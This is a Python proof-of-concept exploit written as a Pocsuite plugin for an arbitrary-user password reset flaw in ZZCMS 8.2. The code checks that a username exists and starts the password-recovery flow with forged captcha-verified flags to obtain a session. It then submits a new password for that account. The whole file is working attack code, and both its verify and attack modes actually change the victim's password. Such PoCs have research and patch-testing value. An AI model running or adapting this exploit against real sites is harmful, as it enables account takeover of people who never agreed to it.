#!/usr/bin/python
# -*- coding: utf-8 -*-
import string
import random
import time
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
from pocsuite.lib.core.data import logger
class HackZZcms(POCBase):
name = 'ZZcms ZZCMS8.2任意用户密码修改'
vulID = '1'
author = ['hac425']
vulType = 'remote-pass-change'
version = '1.0' # default version: 1.0
references = ['http://blog.hac425.top/2018/03/07/zzcms_8_2_rest_user_passwd.html']
desc = '''ZZcms ZZCMS8.2任意用户密码修改'''
vulDate = '***'
createDate = '2018-03-07'
updateDate = '2018-03-07'
appName = 'ZZcms'
appVersion = '8.2'
appPowerLink = 'http://www.zzcms.net/'
samples = ['']
# 检查用户名是否存在
def _check_username(self, username):
target = self.url + "/ajax/check_username_ajax.php?id=" + username
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
cont = req.get(target, headers=headers).content
if "用户名不存在" in cont:
return False
return True
# 使得 SESSION 中存放好我们需要改密码的 用户名， 同时返回 PHPSESSID
def _get_session(self, url, username):
target = url + "/one/getpassword.php"
headers = {"Origin": url,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data = {"username": username, "username2": "yes", "action": "step1",
"yzm": "22", "yzm2": "yes", "submit": "\xe4\xb8\x8b\xe4\xb8\x80\xe6\xad\xa5"}
res = req.post(target, headers=headers, data=data)
return res.cookies.get("PHPSESSID")
# 重置密码
def _reset_passwd(self, url, password, phpsession):
target = url + "/one/getpassword.php"
cookies = {"PHPSESSID": phpsession}
headers = {"Origin": url, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36"}
data={"password": password, "password2": "yes", "action": "step3", "PwdConfirm": password, "PwdConfirm2": "yes", "submit": "\xe7\xa1\xae\xe5\xae\x9a"}
res = req.post(target, headers=headers, cookies=cookies, data=data)
# print res.content
return res.content
def _attack(self):
"""attack mode"""
return self._verify()
def _verify(self):
"""verify mode"""
# print self.params
result = {}
username = self.params['username']
password = self.params['password']
if self._check_username(username):
phpsession = self._get_session(self.url, username)
if "重置密码成功" in self._reset_passwd(self.url, password, phpsession):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
else:
logger.error("无该账号")
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail(result)
return output
register(HackZZcms)
